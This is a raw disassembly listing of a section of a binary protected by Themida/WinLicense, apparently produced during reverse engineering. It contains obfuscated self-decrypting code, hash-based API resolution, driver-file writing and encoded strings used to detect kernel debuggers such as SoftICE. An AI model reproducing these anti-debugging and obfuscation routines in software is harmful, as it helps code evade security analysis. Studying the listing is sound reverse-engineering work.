db 0E4h, 22h, 75h
dd 46264341h, 9B664461h, 0D974F118h, 6E839h, 45C60000h
dd 0DC3984D2h, 6E9h, 979F3000h, 5EF623B1h, 0FA32BB66h
dd 714EC681h, 14E90000h, 0E000000h, 5A170912h, 3E48C00Ch
dd 371F276Ah, 0D82FB814h, 680CFE0Ch, 0
; ---------------------------------------------------------------------------
jmp loc_575EFC
; ---------------------------------------------------------------------------
db 0F1h, 0A5h, 79h
dd 8B23F4h, 7E6C4BE7h
; ---------------------------------------------------------------------------
loc_575EFC: ; CODE XREF: Themida_:00575EECj
pop eax
mov dx, ax
loc_575F00: ; CODE XREF: Themida_:00575FACj
mov edi, [esi+eax]
and ebx, 4F66C80h
xor edi, 2A60A9E0h
movzx ebx, cx
sub edi, 1A6421F8h
pusha
call near ptr loc_575F2C+6
jl short near ptr byte_575F3B
cld
db 36h
mov cl, 8Ch
xor esp, [ebp+2DEE9953h]
and ecx, edx
loc_575F2C: ; CODE XREF: Themida_:00575F19p
call far ptr 0BE25h:0F5DFAF9Eh
fdiv qword ptr [edi+0F5F3436h]
pop dword ptr [edx]
; ---------------------------------------------------------------------------
byte_575F3B db 0 ; CODE XREF: Themida_:00575F1Ej
db 0
align 2
mov ecx, edx
popa
xor edi, 74E2E3C2h
jmp loc_575F56
; ---------------------------------------------------------------------------
dd 0D1E36502h, 697389C4h
db 0D3h, 52h
; ---------------------------------------------------------------------------
loc_575F56: ; CODE XREF: Themida_:00575F47j
mov [esi+eax], edi
push eax
pop edx
mov ebx, edx
sub eax, 4
jp loc_575F6E
push esi
add ecx, 7F687815h
pop ecx
loc_575F6E: ; CODE XREF: Themida_:00575F60j
cmp eax, 0FFFF8FC0h
jnz loc_575F9C
pusha
jo loc_575F85
mov ax, 1112h
loc_575F85: ; CODE XREF: Themida_:00575F7Bj
mov dx, ax
popa
jmp loc_575FC4
; ---------------------------------------------------------------------------
dw 6427h
dd 625378E9h, 538C51DDh, 760F6A56h
; ---------------------------------------------------------------------------
loc_575F9C: ; CODE XREF: Themida_:00575F74j
pusha
jno loc_575FA6
movsx edx, si
loc_575FA6: ; CODE XREF: Themida_:00575F9Dj
mov edi, 2A193BE1h
popa
jmp loc_575F00
; ---------------------------------------------------------------------------
cdq
add dword ptr [ebx-2Bh], 75h
rcl byte ptr [esp+ecx-46h], cl
fisub word ptr [esi+1]
mov al, ds:5A98757Bh
neg dword ptr [edi]
loc_575FC4: ; CODE XREF: Themida_:00575F89j
jmp loc_576055
; ---------------------------------------------------------------------------
pusha
cmp dword ptr [ebp+6100D39h], 0
jz loc_575FDC
jmp loc_576053
; ---------------------------------------------------------------------------
loc_575FDC: ; CODE XREF: Themida_:00575FD1j
push 0
cmp byte ptr [esi], 30h
jnz loc_575FEF
push 0
inc esi
jmp loc_576024
; ---------------------------------------------------------------------------
loc_575FEF: ; CODE XREF: Themida_:00575FE1j
cmp byte ptr [esi], 33h
jnz loc_576000
push 10h
inc esi
jmp loc_576024
; ---------------------------------------------------------------------------
loc_576000: ; CODE XREF: Themida_:00575FF2j
cmp byte ptr [esi], 34h
jnz loc_576011
push 30h
inc esi
jmp loc_576024
; ---------------------------------------------------------------------------
loc_576011: ; CODE XREF: Themida_:00576003j
cmp byte ptr [esi], 35h
jnz loc_576022
push 40h
inc esi
jmp loc_576024
; ---------------------------------------------------------------------------
loc_576022: ; CODE XREF: Themida_:00576014j
push 0
loc_576024: ; CODE XREF: Themida_:00575FEAj
; Themida_:00575FFBj ...
cmp byte ptr [esi], 20h
jnz loc_57603F
cmp byte ptr [esi+1], 0
jnz loc_57603F
add esp, 8
jmp loc_576053
; ---------------------------------------------------------------------------
loc_57603F: ; CODE XREF: Themida_:00576027j
; Themida_:00576031j
lea eax, [ebp+61014E9h]
nop
push eax
nop
xchg eax, esi
push eax
xchg eax, esi
push 0
call dword ptr [ebp+61012F5h]
loc_576053: ; CODE XREF: Themida_:00575FD7j
; Themida_:0057603Aj
popa
retn
; ---------------------------------------------------------------------------
loc_576055: ; CODE XREF: Themida_:loc_575FC4j
mov byte ptr [ebp+61023E5h], 4Dh
push 38394664h
add dword ptr [esp], 6BFC3044h
push dword ptr [ebp+61020E5h]
lea eax, [ebp+6103A32h]
call eax
mov [ebp+61012F5h], eax
jmp short loc_57609C
; ---------------------------------------------------------------------------
dw 5C5Ch
dd 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h
dd 544E5C2Eh, 454349h
; ---------------------------------------------------------------------------
loc_57609C: ; CODE XREF: Themida_:0057607Cj
mov eax, eax
mov [ebp+61014B1h], ecx
mov [ebp+6100D7Dh], edi
cmp dword ptr [ebp+610158Dh], 0
jnz short loc_5760BC
cmp dword ptr [ebp+6100095h], 0
jz short loc_5760D5
loc_5760BC: ; CODE XREF: Themida_:005760B1j
push eax
push ebx
mov eax, eax
mov eax, 40Fh
mov [ebp+6100E65h], eax
lea ebx, [ebp+612B815h]
call ebx
pop ebx
pop eax
loc_5760D5: ; CODE XREF: Themida_:005760BAj
cmp dword ptr [ebp+6100095h], 0
jz short loc_5760F5
push eax
push ebx
mov eax, 40Fh
mov [ebp+6100E65h], eax
lea ebx, [ebp+612B504h]
call ebx
pop ebx
pop eax
loc_5760F5: ; CODE XREF: Themida_:005760DCj
push 0
push edx
call sub_576100
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_576100 proc near ; CODE XREF: Themida_:005760F8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_576100 endp
; ---------------------------------------------------------------------------
mov [edi], bh
adc dl, [eax-49A59E33h]
or ch, 0C3h
cmc
mov eax, eax
mov [ebp+6101DE9h], eax
mov byte ptr [ebp+61023E5h], 43h
push 0
push ecx
call sub_576136
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_576136 proc near ; CODE XREF: Themida_:0057612Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_576136 endp
; ---------------------------------------------------------------------------
xor eax, 0ED9D89EBh
add al, 10h
push es
push 4EBA7EE9h
mov ch, 9Bh
add dword ptr [esp], 6DD3F013h
push 0
push edi
call sub_576167
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_576167 proc near ; CODE XREF: Themida_:0057615Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_576167 endp
; ---------------------------------------------------------------------------
db 0B3h
dd 0C082F08Bh, 0FFF51FAEh, 101499B5h, 2D8D8906h, 8D06101Ch
dd 103A3285h, 81D0FF06h, 646FC8D1h, 5250504Ch, 9E8h, 3C141B00h
dd 0B4F127h, 0CB8BACB6h, 56310F5Eh, 5A596160h, 24048958h
dd 0FB9BD89h, 6A0610h, 283D8529h, 4E80610h, 80000000h
dd 52000000h, 8C0F51h, 5E000000h, 5250505Ah, 0EE860h, 0FFD40000h
dd 287DE6B4h, 0A39FDC26h, 6714547Ah, 310F6159h, 448B585Ah
dd 52500424h, 0D98B6660h, 9482BF66h, 8A310F61h, 8B585AF0h
dd 24448900h, 8647B904h, 0E95831FCh, 9, 9BE8BE69h, 0FE54348Eh
dd 6AF48A84h, 81006A03h, 262658C7h, 6A036A10h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 36E8C357h, 0B589DEB5h, 6101E9Dh, 239F8A68h, 2434819Fh
dd 5F239F8Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0F4C35747h, 5056C999h, 0F312979h, 1887h, 13E900h
dd 0C4EE0000h, 0FBA2216Ch, 2B75C4BDh, 0CF3CFCA9h, 0FF159F7Eh
dd 139D8D0Fh, 810612ACh, 5898F8E2h, 6660500Eh, 0E9E90ABEh
dd 0Ah, 0B3AE4CAFh, 0E1C5E5FDh, 8961E42Ch, 8D89241Ch, 6102ED9h
dd 14359529h, 0D0FF0610h, 2598589h, 0F400610h, 28585h
dd 0C88B6600h, 0BDBA6660h, 598D8B2Fh, 61061030h, 8D8B5258h
dd 61015A1h, 0FE99059h, 0B0000000h, 0C07D0E20h, 84CEA393h
dd 0D6450235h, 90500D4Bh, 0C4BB60h, 0BD010874h, 6101435h
dd 6A006A61h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0EB2DC350h, 0A1B58B3Ch, 68061016h
dd 0A45B3BA5h, 138D0F60h, 0E8000000h, 0Dh, 2C4FF843h, 50D47C1Ah
dd 0EB417897h, 605059F0h, 81615A61h, 0C4DB2404h, 6A5BA4h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 48049C3h, 40243845h, 0B589682Eh, 6102A95h, 36AFB8Bh
dd 6AF48Ah, 7E9h, 85C5300h, 0D0826083h, 6A036Ah, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 571F87C3h, 898FC788h, 100D91BDh, 54E98006h, 79F8DD68h
dd 2404815Ah, 65860723h, 1C9D8DF5h, 0F0612ACh, 5093D7B7h
dd 0EA1DE6BEh, 0EE9936Fh, 1A000000h, 0F19FFA07h, 816B1E1Ch
dd 0C1D2703Dh, 0F78B664Eh, 9589D0FFh, 61015B5h, 4B850F40h
dd 0F000001h, 68Bh, 0E9B50B00h, 0F806102Dh, 14E858h, 6A310000h
dd 7A279F80h, 0D58BF6C0h, 57188A0Dh, 0CB46FC4Bh, 59F9A562h
dd 48C0F50h, 53000000h, 895FC88Bh, 7DBF2404h, 6A4B45DBh
dd 0D850100h, 68061031h, 0B8419259h, 0B6505250h, 310F5ECCh
dd 4BBF5250h, 0F05F581h, 5A616031h, 81585A58h, 6E272404h
dd 0AE947BEh, 0D6000000h, 7ADA74DBh, 0DD9FB605h, 0E181608Ch
dd 70BA9EE5h, 0B9036A61h, 2CC087B8h, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0D5B1BFC3h
dd 6A036Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 344D4CC3h, 4168586Dh, 0FBEE481h, 587h, 816EB900h
dd 34815A90h, 0E4814124h, 49B58B7Eh, 8D06101Dh, 12AC279Dh
dd 0F460BF06h, 0E95038B8h, 0Fh, 78A726D5h, 720987F1h, 0D3DDC4E5h
dd 89BF47C6h, 9509241Ch, 6101CA5h, 80B6D0FFh, 33850F40h
dd 0F5000000h, 498D3358h, 0E906100Ch, 159h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C2C35141h, 9DDCEC3Fh
dd 87EA8166h, 0D88BF5D7h, 13AD9529h, 6A4B0610h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0F91EC351h, 0E8E14228h, 7, 14C88D90h, 29C39B4Bh, 101F6995h
dd 0BF665E06h, 8B58AE60h, 0E585C6F9h, 43061023h, 4D9533h
dd 95290610h, 6102119h, 22799F68h, 64BE60B5h, 60525BBFh
dd 0CE9F98Bh, 44000000h, 557BC0D5h, 8F40CBACh, 6191721Dh
dd 24048161h, 0B53D108h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 11C35040h, 876B2431h, 99B5FFD3h, 0E9061014h
dd 0Bh, 2FA86AE9h, 0A8931748h, 8D7119BEh, 103A3285h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 1EB2130Fh, 0E46E1C21h, 1B2DB58Bh, 0D0FF0610h, 93F98B66h
dd 6E9h, 5626B00h, 5087E1EEh, 0EE9h, 93B83800h, 9DDE13DBh
dd 41EDDCDCh, 93B45F06h, 0FFF88B66h, 39BD03D0h, 8D06101Eh
dd 1073A39Dh, 0BD958B06h, 0B8061011h, 1, 4FD28166h, 89E3FF4Fh
dd 10051D85h, 0BC18B06h, 101929B5h, 66C08B06h, 83F8FA8Bh
dd 10158DBDh, 9750006h, 95BD83h, 74000610h, 8B535019h
dd 40FB8C0h, 85890000h, 610132Dh, 0B87C9D8Dh, 0D3FF0612h
dd 0BD83585Bh, 6100095h, 50177400h, 40FB853h, 85890000h
dd 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 8D09585Bh, 6101091h
dd 0B3BF6653h, 0C08B5EA9h, 0AAE9h, 666F5300h, 72617774h
dd 69575C65h, 63694C6Eh, 65736E65h, 65684300h, 4E496B63h
dd 72705800h, 7845746Fh, 43007469h, 6B636568h, 54554Fh
dd 4C6E6957h, 6E656369h, 65566573h, 6F697372h, 6957006Eh
dd 63694C6Eh, 65736E65h, 76697244h, 65567265h, 6F697372h
dd 6957006Eh, 63694C6Eh, 65736E65h, 74736E49h, 65636E61h
dd 69784500h, 6B4F74h, 636F7250h, 50004E49h, 4F636F72h
dd 45005455h, 49746978h, 7845004Eh, 554F7469h, 70540054h
dd 4E49h, 2 dup(0)
dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0B3388589h
dd 858D0612h, 612B334h, 9E858D50h, 500612B2h, 168h, 4495FF80h
dd 6A0612B3h, 38B5FF19h, 6A0612B3h, 8D006A01h, 12B2CD85h
dd 0B5FF5006h, 612B334h, 212595FFh, 0B5FF0610h, 612B334h
dd 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh, 89C30610h
dd 12B33885h, 34858D06h, 500612B3h, 0B29E858Dh, 68500612h
dd 80000001h, 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h
dd 8D006A04h, 12B2F785h, 0B5FF5006h, 612B334h, 212595FFh
dd 0B5FF0610h, 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h
dd 58D95FFh, 89C30610h, 12B33885h, 34858D06h, 500612B3h
dd 0B29E858Dh, 68500612h, 80000001h, 0B34495FFh, 46A0612h
dd 0B338858Dh, 6A500612h, 8D006A04h, 12B2DF85h, 0B5FF5006h
dd 612B334h, 212595FFh, 0B5FF0610h, 612B334h, 0B34095FFh
dd 0B5FF0612h, 612B334h, 58D95FFh, 89C30610h, 12B33885h
dd 34858D06h, 500612B3h, 0B29E858Dh, 68500612h, 80000001h
dd 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h, 8D006A04h
dd 12B30A85h, 0B5FF5006h, 612B334h, 212595FFh, 0B5FF0610h
dd 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh
dd 89C30610h, 12B33885h, 34858D06h, 500612B3h, 0B29E858Dh
dd 68500612h, 80000001h, 0B34495FFh, 46A0612h, 0B338858Dh
dd 6A500612h, 8D006A04h, 12B2BA85h, 0B5FF5006h, 612B334h
dd 212595FFh, 0B5FF0610h, 612B334h, 0B34095FFh, 0B5FF0612h
dd 612B334h, 58D95FFh, 83C30610h, 100701BDh, 840F0006h
dd 0Bh, 7019D8Bh, 0C3830610h, 0C303894Ch, 701BD83h, 0F000610h
dd 0B84h, 19D8B00h, 83061007h, 38950C3h, 1BD83C3h, 61007h
dd 0B840Fh, 9D8B0000h, 6100701h, 8954C383h, 0BD83C303h
dd 6100701h, 0B840F00h, 8B000000h, 1007019Dh, 58C38306h
dd 83C30389h, 100701BDh, 840F0006h, 0Bh, 7019D8Bh, 0C3830610h
dd 0C303895Ch, 858960C3h, 612B338h, 0B334858Dh, 8D500612h
dd 12B29E85h, 1685006h, 0FF800000h, 12B34495h, 8D046A06h
dd 12B33885h, 46A5006h, 858D006Ah, 612B32Fh, 34B5FF50h
dd 0FF0612B3h, 10212595h, 8DBD8306h, 61015h, 0C840Fh, 0B5FF0000h
dd 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh
dd 0C3610610h, 38858960h, 8D0612B3h, 12B33485h, 858D5006h
dd 612B29Eh, 16850h, 95FF8000h, 612B344h, 858D046Ah, 612B338h
dd 6A046A50h, 11858D00h, 500612B3h, 0B334B5FFh, 95FF0612h
dd 6102125h, 158DBD83h, 0F000610h, 0C84h, 34B5FF00h, 0FF0612B3h
dd 12B34095h, 34B5FF06h, 0FF0612B3h, 10058D95h, 60C36106h
dd 0B3388589h, 858D0612h, 612B334h, 9E858D50h, 500612B2h
dd 168h, 4495FF80h, 6A0612B3h, 38858D04h, 500612B3h, 6A046Ah
dd 0B318858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 83061021h
dd 10158DBDh, 840F0006h, 0Ch, 0B334B5FFh, 95FF0612h, 612B340h
dd 0B334B5FFh, 95FF0612h, 610058Dh, 8960C361h, 12B33885h
dd 34858D06h, 500612B3h, 0B29E858Dh, 68500612h, 80000001h
dd 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h, 8D006A04h
dd 12B32085h, 0B5FF5006h, 612B334h, 212595FFh, 0BD830610h
dd 610158Dh, 0C840F00h, 0FF000000h, 12B334B5h, 4095FF06h
dd 0FF0612B3h, 12B334B5h, 8D95FF06h, 61061005h, 858960C3h
dd 612B338h, 0B334858Dh, 8D500612h, 12B29E85h, 1685006h
dd 0FF800000h, 12B34495h, 8D046A06h, 12B33885h, 46A5006h
dd 858D006Ah, 612B327h, 34B5FF50h, 0FF0612B3h, 10212595h
dd 8DBD8306h, 61015h, 0C840Fh, 0B5FF0000h, 612B334h, 0B34095FFh
dd 0B5FF0612h, 612B334h, 58D95FFh, 0C3610610h, 3885C760h
dd 10612B3h, 8D000000h, 12B33485h, 858D5006h, 612B29Eh
dd 26850h, 95FF8000h, 612B344h, 840FC00Bh, 0Fh, 0B33885C7h
dd 612h, 4DE90000h, 6A000000h, 38858D04h, 500612B3h, 6A046Ah
dd 0B2B2858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 0B061021h
dd 0F840FC0h, 0C7000000h, 12B33885h, 6, 0AE900h, 85C70000h
dd 612B338h, 1, 0B334B5FFh, 95FF0612h, 610058Dh, 38858B61h
dd 0C30612B3h, 38858960h, 8D0612B3h, 12B33485h, 858D5006h
dd 612B29Eh, 16850h, 95FF8000h, 612B344h, 858D046Ah, 612B338h
dd 6A046A50h, 0B2858D00h, 500612B2h, 0B334B5FFh, 95FF0612h
dd 6102125h, 158DBD83h, 0F000610h, 0C84h, 34B5FF00h, 0FF0612B3h
dd 12B34095h, 34B5FF06h, 0FF0612B3h, 10058D95h, 60C36106h
dd 0B3388589h, 858D0612h, 612B334h, 9E858D50h, 500612B2h
dd 168h, 4495FF80h, 6A0612B3h, 38858D04h, 500612B3h, 6A046Ah
dd 0B2C4858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 83061021h
dd 10158DBDh, 840F0006h, 0Ch, 0B334B5FFh, 95FF0612h, 612B340h
dd 0B334B5FFh, 95FF0612h, 610058Dh, 85C6C361h, 61023E5h
dd 7B076852h, 0B5FFADE4h, 6102E61h, 192195FFh, 85890610h
dd 612B344h, 23E585C6h, 68520610h, 902E00E5h, 2E61B5FFh
dd 95FF0610h, 6101921h, 0B3408589h, 85C60612h, 61023E5h
dd 12356852h, 0B5FFB9BFh, 6102E61h, 192195FFh, 85890610h
dd 6102125h, 23E585C6h, 68520610h, 98781034h, 2E61B5FFh
dd 95FF0610h, 6101921h, 58D8589h, 85C60610h, 61023E5h
dd 0DBD46852h, 0B5FFC005h, 6102E61h, 192195FFh, 85890610h
dd 6101451h, 14E8h, 13C85200h, 0EF2F45D5h, 0CDEE79FFh
dd 0ABD4755Fh, 667826FCh, 0C3BF0FCBh, 81CB8B5Bh, 60C8C3h
dd 0F88B6600h, 5957D233h, 811A34FFh, 0A79015CFh, 66565E28h
dd 0D943D981h, 4FEE8159h, 8B5A3AE5h, 29C681FBh, 0E940BEEFh
dd 11h, 0AE1FC84Eh, 0DEDF0BCh, 0D92B592h, 0F7972591h, 3FC681D2h
dd 89196B2Bh, 81661334h, 0F5439C8h, 89h, 2EEA8100h, 0F56A739Fh
dd 9F2AC281h, 0E8516A73h, 10h, 0E4B90DCAh, 633CF005h, 6A1DF768h
dd 0B3DE9184h, 0FA815958h, 0FFFFA01Ch, 2D850Fh, 0E9600000h
dd 10h, 0F35E6F3Fh, 2E070E8Ah, 0C9C01385h, 57C16D3Fh, 2BE961h
dd 0AEE30000h, 2E065E78h, 0AF1CB016h, 0E81D7D8Dh, 66E319F0h
dd 51E9C78Bh, 10FFFFFFh, 86B72A3Fh, 696636ABh, 36C9B988h
dd 1D5DE1A4h, 99E908h, 622F0000h, 68636775h, 326B6365h
dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 12BAEBBDh
dd 840F0006h, 0Ah, 9585C7h, 10610h, 85C60000h, 61023E5h
dd 0FF726847h, 3481C4DBh, 0B693FF24h, 99B5FF54h, 8D061014h
dd 103A3285h, 0FFD0FF06h
dd 80F88BD0h, 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh
dd 18840F00h, 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h
dd 840F00h, 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h
dd 0FFFFFFE2h, 0F003F80h, 585h, 2DDE900h, 1E90000h, 47000000h
dd 0F203F80h, 0FFFFF684h, 3F80FFh, 5850Fh, 0C0E90000h
dd 0E8000002h, 0Ah, 0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 612BA6Bh
dd 225E8h, 0BD0300h, 830612BBh, 12BB00BDh, 840F0006h, 0Bh
dd 158D85C7h, 10610h, 8DC30000h, 12BA76B5h, 1FCE806h, 0BD030000h
dd 612BB00h, 0BB00BD83h, 0F000612h, 0B84h, 9585C700h, 1061000h
dd 0C3000000h, 0BAEFB58Dh, 0D3E80612h, 3000001h, 12BB00BDh
dd 0BD8306h, 612BBh, 0B840Fh, 85C70000h, 6100D39h, 1, 80B58DC3h
dd 0E80612BAh, 1AAh, 0BB00BD03h, 0BD830612h, 612BB00h
dd 0B840F00h, 0C7000000h, 10009585h, 106h, 0B58DC300h
dd 612BA8Ah, 181E8h, 0BD0300h, 830612BBh, 12BB00BDh, 840F0006h
dd 15h, 9585C7h, 10610h, 85C70000h, 610158Dh, 1, 98B58DC3h
dd 0E80612BAh, 14Eh, 0BB00BD03h, 0BD830612h, 612BB00h
dd 0A840F00h, 0C7000000h, 1015BD85h, 106h, 0A2B58D00h
dd 0E80612BAh, 126h, 0BB00BD03h, 0BD830612h, 612BB00h
dd 0A840F00h, 0C7000000h, 1015BD85h, 106h, 0ADB58D00h
dd 0E80612BAh, 0FEh, 0BB00BD03h, 0BD830612h, 612BB00h
dd 0A840F00h, 0C7000000h, 10234185h, 106h, 0B3B58D00h
dd 0E80612BAh, 0D6h, 0BB00BD03h, 0BD830612h, 612BB00h
dd 0A840F00h, 0C7000000h, 100BD185h, 106h, 0B9B58D00h
dd 0E80612BAh, 0AEh, 0BB00BD03h, 0BD830612h, 612BB00h
dd 0A840F00h, 0C7000000h, 1007DD85h, 106h, 0C7B58D00h
dd 0E80612BAh, 86h, 0BB00BD03h, 0BD830612h, 612BB00h, 0A840F00h
dd 0C7000000h, 102F3D85h, 106h, 0D4B58D00h, 0E80612BAh
dd 5Eh, 0BB00BD03h, 0BD830612h, 612BB00h, 0A840F00h, 0C7000000h
dd 102D6585h, 106h, 0DFB58D00h, 0E80612BAh, 36h, 0BB00BD03h
dd 0BD830612h, 612BB00h, 0A840F00h, 0C7000000h, 102E6D85h
dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h, 850F003Fh, 2, 178AC92Bh
dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h
dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
dd 0D840Fh, 0F32B0000h, 0BB00B589h, 0AE90612h, 0C7000000h
dd 12BB0085h, 6, 0B8C36100h, 0
; ---------------------------------------------------------------------------
or eax, eax
jz loc_5772F6
mov dword ptr [ebp+61015BDh], 0
loc_5772F6: ; CODE XREF: Themida_:005772E6j
mov ecx, eax
jmp loc_57750B
; ---------------------------------------------------------------------------
a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah
db 0Dh,'Make sure that this file is not being used by another program.',0
align 4
dd 67h dup(0)
dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_57750B: ; CODE XREF: Themida_:005772F8j
jmp loc_5775FF
; ---------------------------------------------------------------------------
mov byte ptr [ebp+61023E5h], 47h
push 0E3E45B86h
push dword ptr [ebp+6101499h]
lea eax, [ebp+6103A32h]
call eax
push 104h
lea ebx, [ebp+6103385h]
push ebx
call eax
push eax
lea esi, [ebp+612C08Ah]
mov edi, esi
xor al, al
loc_577543: ; CODE XREF: Themida_:00577544j
scasb
jnz loc_577543
sub edi, esi
mov ecx, edi
pop eax
mov edi, ebx
add edi, eax
rep movsb
mov byte ptr [ebp+61023E5h], 43h
push 0BC8E6EFCh
push dword ptr [ebp+6101499h]
lea eax, [ebp+6103A32h]
call eax
lea esi, [ebp+6103385h]
push 0
push 80h
push 2
push 0
push 0
push 0C0000000h
push esi
call eax
mov ebx, eax
mov byte ptr [ebp+61023E5h], 57h
push 0A69BEE56h
push dword ptr [ebp+6101499h]
lea eax, [ebp+6103A32h]
call eax
lea edi, [ebp+61031BDh]
lea ecx, [ebp+612C1B0h]
push 0
push edi
push 37D0h
push ecx
push ebx
call eax
test eax, eax
jnz loc_5775E1
lea esi, [ebp+612BE92h]
lea eax, [ebp+612AB5Eh]
call eax
lea ecx, [ebp+61073A3h]
mov eax, 0
jmp ecx
; ---------------------------------------------------------------------------
loc_5775E1: ; CODE XREF: Themida_:005775C0j
mov byte ptr [ebp+61023E5h], 43h
push 0C0764AA7h
push dword ptr [ebp+6101499h]
lea eax, [ebp+6103A32h]
call eax
push ebx
call eax
retn
; ---------------------------------------------------------------------------
loc_5775FF: ; CODE XREF: Themida_:loc_57750Bj
mov ecx, 37D0h
call $+5
pop eax
add eax, 0Eh
mov [eax], ecx
jmp loc_577616
; ---------------------------------------------------------------------------
mov eax, ebx
loc_577616: ; CODE XREF: Themida_:0057760Fj
jmp loc_57ADEB
; ---------------------------------------------------------------------------
db 4Dh
dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0
dd 40000000h, 8 dup(0)
dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
dd 240A0D0Dh, 0
dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
dd 887376h, 0
dd 4C000000h
db 45h
byte_5776CD db 3 dup(0) ; DATA XREF: Themida_:0054C1A8o
dd 2000000h, 400h, 0
dd 14000380h, 5 dup(0)
dd 0C0000002h, 90000001h, 0
dd 7E000000h, 0
dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
dd 2C000000h, 38000001h, 1, 0
dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1
dd 0
dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h
dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h
dd 1000000h, 3000103h, 2 dup(0)
dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h
dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
dd 27h, 16Ah dup(0)
db 2 dup(0)
word_577E4A dw 0 ; DATA XREF: sub_55598B+1Do
dd 1F5h dup(0)
dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0)
dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
dd 527376h, 9C3h dup(0)
dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
dd 9 dup(0)
; ---------------------------------------------------------------------------
xor eax, eax
retn
; ---------------------------------------------------------------------------
xor eax, eax
retn
; ---------------------------------------------------------------------------
cmp dword ptr [esi+0Ch], 0
jnz short loc_57ADC0
xor eax, eax
jmp short locret_57ADDA
; ---------------------------------------------------------------------------
loc_57ADC0: ; CODE XREF: Themida_:0057ADBAj
cmp dword ptr [esi+0Ch], 1
jnz short locret_57ADDA
lea eax, large ds:0
mov edi, [esi+18h]
mov [edi], eax
mov dword ptr [esi+20h], 4
xor eax, eax
locret_57ADDA: ; CODE XREF: Themida_:0057ADBEj
; Themida_:0057ADC4j
retn
; ---------------------------------------------------------------------------
db 0Ch
aXprotvxd_ddb db 'XPROTVXD_DDB',0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_57ADEB: ; CODE XREF: Themida_:loc_577616j
call sub_57ADFF
xchg eax, ebp
pop ebp
